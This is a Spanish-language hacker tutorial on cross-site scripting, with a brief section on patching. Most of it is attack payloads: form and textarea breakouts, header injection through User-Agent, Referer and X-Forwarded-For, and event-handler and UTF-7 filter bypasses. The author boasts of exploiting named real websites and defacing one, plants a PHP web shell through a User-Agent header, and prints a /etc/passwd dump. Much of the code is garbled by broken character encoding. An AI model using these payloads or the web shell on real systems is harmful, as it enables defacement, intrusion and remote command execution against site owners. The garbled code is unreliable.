You are on page 1of 21

[ 0x000 ] - Hello World

En esta paper vamos a hablar sobre XSS.


Pero iremos mas all del alert();
Qu quiere decir esto?
Que no nos vamos a limitar a sacar el XSS simplemente con el
tipico script:
<script>alert("XSS")</script>
Saludos a los Friends:
- Celciuz
- you_kn0w
- N.O.X
- C1c4Tr1Z
- OzX
- MurdeR
- Syst3m-c0d3r
- m0x.lk
Saludos a todos los usuarios de:
http://new-bytes.net
http://diosdelared.com
http://www.z0l-web.co.nr
[ 0x001 ] - Introduccin
XSS, Cross Site Scripting
Una de las vulnerabilidades mas habituales hoy en da.
Muy Peligrosa como todas las demas, si la sabes aprovechar
puedes hacer de todo con ella.
Recuerden lo que dicen:
Una vulnerabilidad es tan limitada como tu quieras que sea :)
Desde un Robo de Cookies Hasta un Deface.
Solo necesitas 2 cosas:
1) Conocimiento
2) Imaginacin
Despus, el lmite es el cielo.
[ Caso 1 ] - Salindonos del Formulario.
Uno de los casos mas comunes =)
Codigo del formulario vulnerable:
= = = = = = = = = = = = = = = = = = = = = = = = = = = = =
<html>
<head>
<title>Formulario de Busqueda</title>
</head>
<body>
<center>
<?
if(isset($_POS!te"to#$$%
$"ss&$_POS!te"to#'
echo (<form name&)("ss)( method&)(POS)(>
<h*>+ ,esultados</h*><br><hr><br><in-ut ty-e&)(te"t)(
.alue&)($"ss)( name&)(te"to)(><br><br>
<in-ut ty-e&)(submit)( .alue&)(Buscar)(></form>('
/ else %
echo (<form name&)("ss)( method&)(POS)(>
<h*>Formulario de busqueda</h*><br><hr><br><in-ut ty-e&)(te"t)(
.alue&)()( name&)(te"to)(><br><br>
<in-ut ty-e&)(submit)( .alue&)(Buscar)(></form>('
/
?>
</center>
</body>
</html>
= = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Como vemos en el source, si buscamos algo, lo que buscamos
queda incrustado en el form.
Esto es sencillo:
">Hola - "><script>alert("XSS")</script>
Lo cual es logico ya que el formulario quedara asi:
<input type="text" value="">
[ Caso 2 ] - Limitaciones en ciertos caracteres / Campos de
textos Limitados
Otro caso muy comn.
Me tope con este caso en la web:
http://www.puebla.gob.mx
No poda meter en el form nada de tipo:
">$#-|/()=\*?
Ni ningn carcter especial.
Busque un simple texto ( hola ) y parte de la url quedo as:
resultadosgeneral.jsp?palabra=hola&servicios=0
Asi que .. Hice algo as:
http://url/resultadosgeneral.jsp?
palabra="><script>alert(/OK/)</script>&servicios=0
Bingo !
Esto nos sirve tambin para Campos de texto limitados.
Esto tambin lo podemos hacer con TAMPER DATA (ADDON De
Firefox).
Modificando el contenido que se enva por POST:
= = = = = = == = = = == = = = == = = = == = = = =
[ Caso 3 ] - Jugando con un Textarea
Navegando pase por una web ( www.yourownbux.com ) a la
cual ya le haba encontrado un XSS en el formulario de
busqueda.
Esta vez aadieron un formulario de contacto, que luce as:
Y me dije .. Mm .. Por qu no?
Source del Textarea:
= = = = = = == = = = == = = = == = = = == = = = =
<te"tarea style&(0idth123+-"' hei4ht1*3+-"(
name&messa4e></te"tarea>
= = = = = = == = = = == = = = == = = = == = = = =
Como pueden ver con un simple "> No se puede bypassear ..
Que podemos hacer?
Si introducimos un Texto .. Queda asi:
= = = = = = == = = = == = = = == = = = == = = = =
<te"tarea style&(0idth123+-"' hei4ht1*3+-"( name&messa4e>5ensa6e
</te"tarea>
= = = = = = == = = = == = = = == = = = == = = = =
Mm ...
= = = = = = == = = = == = = = == = = = == = = = =
</te"tarea><scri-t>alert(/P789:/$</scri-t>
= = = = = = == = = = == = = = == = = = == = = = =
Quedara asi no? :
= = = = = = == = = = == = = = == = = = == = = = =
<te"tarea style&(0idth123+-"' hei4ht1*3+-"( name&messa4e>
</textarea>
<scri-t>alert(/P789:/$</scri-t>
</te"tarea>
= = = = = = == = = = == = = = == = = = == = = = =
[ Caso 5 ] - Jugando con Los Headers
Bueno, esto es muy interesante, vamos a jugar con los headers
para sacar XSS =) .
1 - User Agent
Source:
= = = = = = = = = = = = = = = = = = = = = = = = = = = = =
<?-h-
$na. & $_S9,;9,!<=P_>S9,_?@98<#'
echo
(<b><center><h*>8a.e4ador1</h*><br><hr><br>$na.</center></b>(
'
?>
= = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Header:
=ost1 localhost
>serA?4ent1 5oBilla/CD+ (com-atible' 5SE9 FD+' 7indo0s GF$
?cce-t1
te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain'
q&+DJHima4e/-n4HK/K'q&+DF
?cce-tALan4ua4e1 en
?cce-tA9ncodin41 4Bi-Hdeflate
?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN
Oee-A?li.e1 2++
Monnection1 Pee-Aali.e
Y Si lo modificamos?
=ost1 localhost
User-Agent: No me acuerdo el nombre :$
?cce-t1
te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain'
q&+DJHima4e/-n4HK/K'q&+DF
?cce-tALan4ua4e1 en
?cce-tA9ncodin41 4Bi-Hdeflate
?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN
Oee-A?li.e1 2++
Monnection1 Pee-Aali.e
Y . User-Agent: <script>alert(/Yeah/)</script>
2 - Referer
Header:
=ost1 000DcualAesAmiAi-A-ublicaDcom
>serA?4ent1 5oBilla/CD+ (com-atible' 5SE9 FD+' 7indo0s GF$
?cce-t1
te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain'
q&+DJHima4e/-n4HK/K'q&+DF
?cce-tALan4ua4e1 en
?cce-tA9ncodin41 4Bi-Hdeflate
?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN
Oee-A?li.e1 2++
Monnection1 Pee-Aali.e
Referer: http://google.com.do
MooPie1 KKKKKK
Y si lo modificamos?
=ost1 000DcualAesAmiAi-A-ublicaDcom
>serA?4ent1 5oBilla/CD+ (com-atible' 5SE9 FD+' 7indo0s GF$
?cce-t1
te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain'
q&+DJHima4e/-n4HK/K'q&+DF
?cce-tALan4ua4e1 en
?cce-tA9ncodin41 4Bi-Hdeflate
?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN
Oee-A?li.e1 2++
Monnection1 Pee-Aali.e
Referer: <script>alert(/Yeah/)</script>
MooPie1 KKKKKK
3 - X-Forwarded-For
Bueno, en este caso no le dar mucha explicacin, solo dir
que me tope con un reto de Spoof ( no dir donde para no
arruinar el reto ) .. Y Pues, jugando con los headers, el reto se
pasaba de la siguiente manera:
=ost1 000DcualAesAmiAi-A-ublicaDcom
>serA?4ent1 5oBilla/CD+ (com-atible' 5SE9 FD+' 7indo0s GF$
?cce-t1
te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain'
q&+DJHima4e/-n4HK/K'q&+DF
?cce-tALan4ua4e1 en
?cce-tA9ncodin41 4Bi-Hdeflate
?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN
Oee-A?li.e1 2++
Monnection1 Pee-Aali.e
,eferer1 htt-1//4oo4leDcom
X-Forwarded-For: 127.0.0.1
MooPie1 KKKKKK
Siendo 127.0.0.1 La IP A Spoofear.
Esto daba como output la IP .. En este caso sera: 127.0.0.1
Por lo tanto:
=ost1 000DcualAesAmiAi-A-ublicaDcom
>serA?4ent1 5oBilla/CD+ (com-atible' 5SE9 FD+' 7indo0s GF$
?cce-t1
te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain'
q&+DJHima4e/-n4HK/K'q&+DF
?cce-tALan4ua4e1 en
?cce-tA9ncodin41 4Bi-Hdeflate
?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN
Oee-A?li.e1 2++
Monnection1 Pee-Aali.e
,eferer1 htt-1//4oo4leDcom
X-Forwarded-For: <script>alert(/Yeah/)</script>
MooPie1 KKKKKK
Es igual a:
[ Caso 6 ] - STR_Replace
Qu hacer cuando no contamos con un <script> para un XSS?
<?-h-
if(isset($_@9!"ss#$$%
$"ss & $_@9!<"ss<#'
$"ss3 & str_re-lace((<scri-t>(H ((H $"ss$'
$"ss2 & str_re-lace((alert(H ((H $"ss3$'
echo (<form name&)(=i)(>
<in-ut ty-e&)(te"t)( .alue&)($"ss2)( siBe&)(2+)(>
</form>('
/
?>
Si intentamos poner:
<script>alert(Yeah)</script> .. Quedara asi:
alert(Yeah)</script>
y por lo tanto, no se produce la alerta.
Pero obviamente vamos a tratar de ir mas alla.
Como vemos en el source, si buscamos " aaa " este es el
resultado:
<input type="text" value="aaa" size="30">
Parecera un caso facil de "><script>alert(WTF)</script>
pero no podemos usar <script> =)
Asi que, solo nos queda pensar . El script es COMPLETAMENTE
VULNERABLE, las variables se imprimen tal cual se reciben
( excluyendo <script> )
Aqu vamos a usar los Eventos de Javascript
(http://www.w3schools.com/js/js_events.asp).
Usaremos: onblur
Si introducimos:
Onblur=alert(000) no se produce la alerta, ya que queda
DENTRO Del form..
Por lo tanto .. Si introducimos:
" hola
Sera asi:
<input type="text" value="" hola size="30">
Por lo tanto, el valor del form quedara NULO =)
" Onblur=alert(666) "
<input type="text" value="" " Onblur=alert(666) "
size="30">
En este caso estaramos aadiendo una propiedad o evento al
input =) .. Provocando un XSS:
[ Caso 7 ] - Barackobama.com || [ C1c4Tr1Z ]
Para esta prueba voy a usar una que es conocida en estos
momentos, se trata de el sitio oficial de uno de los candidatos
a la presidencia de EEUU (se lo merecen).
La URL es http://my.barackobama.com/ y la seccin que es
vulnerable http://my.barackobama.com/page/s/fellowsapp
(aunque hay otra seccin que es exactamente igual:
http://my.barackobama.com/page/s/).
Pero me dirn: Por que es vulnerable?
Porque la aplicacin nos permite ingresar cualquier tipo de
caracteres luego de la URL, sin necesitar ningn tipo de
peticin, formulario, etc.
Por ejemplo, si agregramos:
http://my.barackobama.com/page/s/fellowsapp+foo@bar
nos dara como resultado lo siguiente:
Y el pedazo de cdigo:
<di. id&QcontentQ>
<di. id&Qcolumn*R><di. id&Q-a4e_contentQ><h3>En.alid si4nu- form
requested1 <stron4>fello0sa-- fooSbar</stron4></h3>
</di.>
Entonces como toda persona apresurada, probamos lo
siguiente:
http://my.barackobama.com/page/s/fellowsapp"><script>al
ert(666)</script>
Pero lo que vemos en la fuente es lo siguiente:
<di. id&QcontentQ>
<di. id&Qcolumn*R><di. id&Q-a4e_contentQ><h3>En.alid si4nu- form
requested1 <stron4>fello0sa--)Q><scri-t>alert(TTT$<</stron4></h3>
</di.>
De aqu en mas solo queda PENSAR!. Las conclusiones que
podemos llegar a sacar de esto son: la aplicacin permite el
ingreso de <tags> iniciales pero que no concluyan con la
inyeccin, o sea </script> </iframe> etc. Porque borrara
todo lo que sea ingresado despes de la barra "/". Y filtra las
famosas "quotes" o comillas agregando una barra invertida, o
sea " -> \" o ' -> \' .
Entonces, el mtodo mas rpido que podramos usar para
resolver este problema serian <tags> que no necesiten la
utilizacin de finales, por ejemplo <img> o <a href>, hay
muchos mas solo hace falta el ingenio :-P. En este caso opte
por el mas simple, <img>. La forma que utilice es la siguiente,
que automticamente la transforma en un vector XSS:
<img src=. onerror=alert(666)>
Para el que no lo entendi paso a explicarlo. Se crea el tag
<img> con una fuente o "src" sin direccin o una direccin
errnea, en este caso "." . En ese momento explico que al
producirse un error al cargarse la imagen, que estoy 100%
seguro que va a ocurrir por la src especificada, se llebe acabo
una accin usando "onerror". Entonces digo que en caso de
error se envie una alerta, o sea "alert(666)". Para esa
instancia no hay necesidad de cerrar ningn tag HTML dando
por concluido la alerta.
[ Caso 8 ] - HTMLEntities Bypass [ UTF-7 ] ||C1c4Tr1z
Voy a pasar a dar una explicacin rpida , Seguramente habrn
visto en alguna pagina que se podra realizar un "bypass" de
htmlentities, pero es cierto en parte ya que solo funciona en
codificacin UTF-7.. Segn Wikipedia, la codificacin UTF-7, es
descrita de la siguiente manera:
UTF-7 (7-bit Unicode Transformation Format) es una
codificacin de caracteres de longitud variable que fue
propuesta para representar texto codificado con Unicode
usando un flujo de caracteres ASCII, para ser usado, por
ejemplo en mensajes de correo electrnico de Internet.
Aunque ya muchas webs utilizan la codificacin UTF-8 al pasar
htmlentities o todava utilizan caracteres UTF-7, es posible que
se pueda hacer un "bypass" de la funcin htmlentities().
Un pequeo cdigo para realizar pasar un string a UTF-7 puede
ser el siguiente:
<?
$"&$_@9!<"<#'
$"&mb_con.ert_encodin4($"H <>FAN<$'
echo $"'
?>
Entonces, si queremos pasar "<string>alert(/XSS/)</script>"
dandonos como resultado "+ADw-string+AD4-alert(/XSS/)
+ADw-/script+AD4-".
Una pequea prueba de concepto puede ser, usando el mismo
cdigo pero agregando:
<?
header(<MontentAy-e1 te"t/html' charset&>FAN<$'
$"&$_@9!<"<#'
$"&mb_con.ert_encodin4($"H <>FAN<$'
echo htmlentities($"$'
?>
Y aun as recibiramos un gran y enorme XSS de alerta. Para
alguno que sea escptico, Google.com era vulnerable a este
ataque cuando lanzaba la pagina 404 (Not Found).
[ Caso 9 ] - Defaceando una web Mediante XSS en Los Headers
Bueno, para los que leyeron el Caso 5, aqu les voy a
demostrar como le hice un deface a una web mediante XSS en
los headers.
La pgina guardaba El Navegador / IP de cada visita.
Yo supongo que el source .. Era algo asi:
<html>
<body>
<center><font siBe&QFQ face&Q.erdanaQ color&QblacPQ>Bien.enido</font>
<?-h-
$i- & $_S9,;9,!<,95O9_?::,<#'
$na. & $_S9,;9,!<=P_>S9,_?@98<#'
$file & <lo4sDt"t<'
$f- & fo-en($fileH (a($'
$0rite & ()nEP1 (D$i-D()n(D(8a.e4ador1 (D
$na.D()n(D(&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&('
f0rite($f-H $strin4$'
fclose($f-$'
?>
</body>
</html>
Y si jugamos con los headers:
=ost1 KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
User-Agent: "><font size="50">0wn3d</font>
?cce-t1
te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain'
q&+DJHima4e/-n4HK/K'q&+DF
?cce-tALan4ua4e1 en
?cce-tA9ncodin41 4Bi-Hdeflate
?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN
Oee-A?li.e1 2++
Monnection1 Pee-Aali.e
Si, Casi un deface =)
=ost1 KKKKKKKKKKKKKKKKKKK
User-Agent: <script>document.documentElement.innerHTML="So,
Fucking PWNED"</script>
?cce-t1
te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain'
q&+DJHima4e/-n4HK/K'q&+DF
?cce-tALan4ua4e1 en
?cce-tA9ncodin41 4Bi-Hdeflate
?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN
Oee-A?li.e1 2++
Monnection1 Pee-Aali.e
Solo tenemos que usar la imaginacin, podemos usar iframes y
todo lo que se nos ocurra.
Deface a un PHP !
Si, si, por increble que parezca, me tope con una web en la
que se guardaban todos los datos del visitante en un archivo
llamado " Log.php "
El header me quedo asi:
=ost1 KKKKKKKKKKKKKKKKKKKK
User-Agent: <? if(isset($_GET['cmd'])) { $x=$_GET['cmd'];
system("$x"); } ?>
?cce-t1
te"t/"mlHa--lication/"mlHa--lication/"htmlI"mlHte"t/html'q&+DGHte"t/-lain'
q&+DJHima4e/-n4HK/K'q&+DF
?cce-tALan4ua4e1 en
?cce-tA9ncodin41 4Bi-Hdeflate
?cce-tAMharset1 ESOAJJFGA*HutfAJ'q&+DNHK'q&+DN
Oee-A?li.e1 2++
Monnection1 Pee-Aali.e
Ya, ah solo tendramos que usar la imaginacin =)
root1"1+1+1root1/root1/bin/bash bin1"1*1*1bin1/bin1/sbin/nolo4in
daemon1"13131daemon1/sbin1/sbin/nolo4in adm1"121C1adm1/.ar/adm1/sbin/nolo4in
l-1"1C1N1l-1/.ar/s-ool/l-d1/sbin/nolo4in sync1"1F1+1sync1/sbin1/bin/sync
shutdo0n1"1T1+1shutdo0n1/sbin1/sbin/shutdo0n halt1"1N1+1halt1/sbin1/sbin/halt
mail1"1J1*31mail1/.ar/s-ool/mail1/sbin/nolo4in ne0s1"1G1*21ne0s1/etc/ne0s1
uuc-1"1*+1*C1uuc-1/.ar/s-ool/uuc-1/sbin/nolo4in o-erator1"1**1+1o-erator1/root1/
sbin/nolo4in 4ames1"1*31*++14ames1/usr/4ames1/sbin/nolo4in
4o-her1"1*212+14o-her1/.ar/4o-her1/sbin/nolo4in ft-1"1*C1F+1FP
>ser1/.ar/ft-1/sbin/nolo4in nobody1"1GG1GG18obody1/1/sbin/nolo4in
dbus1"1J*1J*1System messa4e bus1/1/sbin/nolo4in .csa1"1TG1TG1.irtual console
memory o0ner1/de.1/sbin/nolo4in r-m1"12N12N11/.ar/lib/r-m1/sbin/nolo4in
haldaemon1"1TJ1TJ1=?L daemon1/1/sbin/nolo4in netdum-1"12C12C18et0orP Mrash
:um- user1/.ar/crash1/bin/bash nscd1"13J13J18SM: :aemon1/1/sbin/nolo4in
sshd1"1NC1NC1Pri.ile4eAse-arated SS=1/.ar/em-ty/sshd1/sbin/nolo4in
r-c1"1231231Portma--er ,PM user1/1/sbin/nolo4in
mailnull1"1CN1CN11/.ar/s-ool/mqueue1/sbin/nolo4in
smms-1"1F*1F*11/.ar/s-ool/mqueue1/sbin/nolo4in
-ca-1"1NN1NN11/.ar/ar-0atch1/sbin/nolo4in
a-ache1"1CJ1CJ1?-ache1/.ar/0001/sbin/nolo4in squid1"13213211/.ar/s-ool/squid1/
sbin/nolo4in 0ebaliBer1"1TN1TN17ebaliBer1/.ar/000/usa4e1/sbin/nolo4in
"fs1"1C21C21U Font Ser.er1/etc/U**/fs1/sbin/nolo4in
nt-1"12J12J11/etc/nt-1/sbin/nolo4in
named1"13F13F18amed1/.ar/named1/sbin/nolo4in
do.ecot1"1GN1GN1do.ecot1/usr/libe"ec/do.ecot1/sbin/nolo4in -e4asus1"1TT1TF1to4A
-e4asus O-enPe4asus 7B95/ME5 ser.ices1/.ar/lib/Pe4asus1/sbin/nolo4in
r-cuser1"13G13G1,PM Ser.ice >ser1/.ar/lib/nfs1/sbin/nolo4in
nfsnobody1"1TFF2C1TFF2C1?nonymous 8FS >ser1/.ar/lib/nfs1/sbin/nolo4in
mysql1"1*++1*+*15ySVL ser.er1/.ar/lib/mysql1/bin/bash
mailman1"123++*123++*11/usr/local/c-anel/2rd-arty/mailman1/bin/bash
c-anel1"123++3123++211/usr/local/c-anel1/bin/bash
moroBo.21"123++2123++C11/home/moroBo.21/usr/local/c-anel/bin/noshell
[ 0x002 ] - Parcheando el XSS
Bueno, antes de concluir el paper, vamos a ver como parchear
el XSS.
Usaremos la funcin: htmlspecialchars.
Esta funcin Convierte caracteres especiales en entidades de
HTML.
Cmo Usarla?
Sencillo.
Por Ejemplo, recibimos un valor en x y lo almacenamos en la
variable y:
$y & $_@9!W"X#'
Pero, en vez de imprimirlo tal cual se recibe . Le aplicamos la
funcin a la variable y:
htmls-ecialchars(($y(H 98_V>O9S$'
Y Listo =)
Tambin podemos usar htmlentities ( Ojo con el UTF-7
{ Aunque hoy en dia el 90% de las webs utilizan UTF-8 } ) :
htmlentities($y$'
[ 0x003 ] - Conclusin
Bueno, espero que hayan entendido la finalidad del paper, es
importante no limitarnos simplemente a explotar una
vulnerabilidad de la manera mas simple.
Como dije anteriormente " Una vulnerabilidad es tan limitada
como quieras que sea ", como dije, solo se necesita
imaginacin y el limite es el cielo.
Escrito Por: Tec-n0x
Contacto: Tec-n0x [ @ ] Hotmail [ . ] com
Www.Editcodex.NET - Proximamente
Gr33tz Especiales: C1c4Tr1Z

You might also like